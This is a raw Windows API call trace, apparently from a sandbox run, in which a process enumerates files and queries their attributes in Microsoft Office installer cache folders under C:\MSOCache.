	[0050.305] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0050.305] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1
	[0050.305] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1
	[0050.305] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1
	[0050.305] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7eda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwtrig20.exe", cAlternateFileName="")) returned 1
	[0050.305] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="MICROS~1.MAN")) returned 1
	[0050.305] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1
	[0050.305] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1
	[0050.305] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.msi", cAlternateFileName="OFFICE~2.MSI")) returned 1
	[0050.305] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.xml", cAlternateFileName="OFFICE~2.XML")) returned 1
	[0050.305] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1
	[0050.305] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.xml", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0050.305] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetupui.dll", cAlternateFileName="")) returned 1
	[0050.305] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="pss10r.chm", cAlternateFileName="")) returned 1
	[0050.305] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.chm", cAlternateFileName="")) returned 1
	[0050.305] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0050.306] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1
	[0050.306] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.306] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.307] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033"), fInfoLevelId=0x0, lpFileInformation=0x127358b8 | out: lpFileInformation=0x127358b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.308] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.309] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.309] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.309] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1
	[0050.309] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.309] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.309] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), fInfoLevelId=0x0, lpFileInformation=0x12735958 | out: lpFileInformation=0x12735958*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588)) returned 1
	[0050.309] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), fInfoLevelId=0x0, lpFileInformation=0x127359a8 | out: lpFileInformation=0x127359a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88)) returned 1
	[0050.310] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), fInfoLevelId=0x0, lpFileInformation=0x127359f8 | out: lpFileInformation=0x127359f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741)) returned 1
	[0050.311] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), fInfoLevelId=0x0, lpFileInformation=0x12735a48 | out: lpFileInformation=0x12735a48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282)) returned 1
	[0050.311] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), fInfoLevelId=0x0, lpFileInformation=0x12735a98 | out: lpFileInformation=0x12735a98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00)) returned 1
	[0050.312] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), fInfoLevelId=0x0, lpFileInformation=0x12735ae8 | out: lpFileInformation=0x12735ae8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5)) returned 1
	[0050.312] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), fInfoLevelId=0x0, lpFileInformation=0x12735b38 | out: lpFileInformation=0x12735b38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200)) returned 1
	[0050.312] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), fInfoLevelId=0x0, lpFileInformation=0x12735b88 | out: lpFileInformation=0x12735b88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333)) returned 1
	[0050.312] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x12735bd8 | out: lpFileInformation=0x12735bd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488)) returned 1
	[0050.312] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), fInfoLevelId=0x0, lpFileInformation=0x12735c28 | out: lpFileInformation=0x12735c28*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00)) returned 1
	[0050.312] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), fInfoLevelId=0x0, lpFileInformation=0x12735c78 | out: lpFileInformation=0x12735c78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975)) returned 1
	[0050.313] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), fInfoLevelId=0x0, lpFileInformation=0x12735cc8 | out: lpFileInformation=0x12735cc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760)) returned 1
	[0050.313] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), fInfoLevelId=0x0, lpFileInformation=0x12735d18 | out: lpFileInformation=0x12735d18*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7eda0)) returned 1
	[0050.313] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), fInfoLevelId=0x0, lpFileInformation=0x12735d68 | out: lpFileInformation=0x12735d68*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200)) returned 1
	[0050.313] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), fInfoLevelId=0x0, lpFileInformation=0x12735db8 | out: lpFileInformation=0x12735db8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80)) returned 1
	[0050.314] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), fInfoLevelId=0x0, lpFileInformation=0x12735e08 | out: lpFileInformation=0x12735e08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b)) returned 1
	[0050.314] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), fInfoLevelId=0x0, lpFileInformation=0x12735e58 | out: lpFileInformation=0x12735e58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676)) returned 1
	[0050.314] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x12735ea8 | out: lpFileInformation=0x12735ea8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.315] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
